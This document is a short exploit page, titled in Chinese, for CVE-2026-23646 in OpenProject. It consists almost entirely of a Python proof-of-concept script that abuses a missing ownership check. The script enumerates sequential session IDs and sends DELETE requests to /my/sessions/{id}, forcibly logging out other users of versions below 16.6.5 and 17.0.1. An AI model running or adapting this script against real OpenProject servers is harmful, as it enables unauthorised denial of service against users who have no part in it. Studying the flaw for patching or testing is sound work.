CVE-2026-23646 OpenProject会话ID遍历导致任意用户强制登出漏洞

import requests # CVE-2026-23646 PoC - OpenProject Session Termination via IDOR # Target: OpenProject versions < 16.6.5 and < 17.0.1 TARGET_URL = "http://target-openproject.com" ATTACKER_TOKEN = "attacker_auth_token_here" def terminate_victim_session(victim_session_id): """ Delete a victim's session without ownership verification The session ID uses incremental integers, allowing enumeration """ endpoint = f"{TARGET_URL}/my/sessions/{victim_session_id}" headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } response = requests.delete(endpoint, headers=headers) return response.status_code == 204 def enumerate_and_terminate_sessions(start_id=1, end_id=1000): """ Enumerate session IDs and terminate active user sessions This causes denial of service for affected users """ terminated = [] for session_id in range(start_id, end_id): if terminate_victim_session(session_id): terminated.append(session_id) print(f"[+] Terminated session ID: {session_id}") return terminated if __name__ == "__main__": # Example: Terminate sessions with IDs 1-100 enumerate_and_terminate_sessions(1, 100)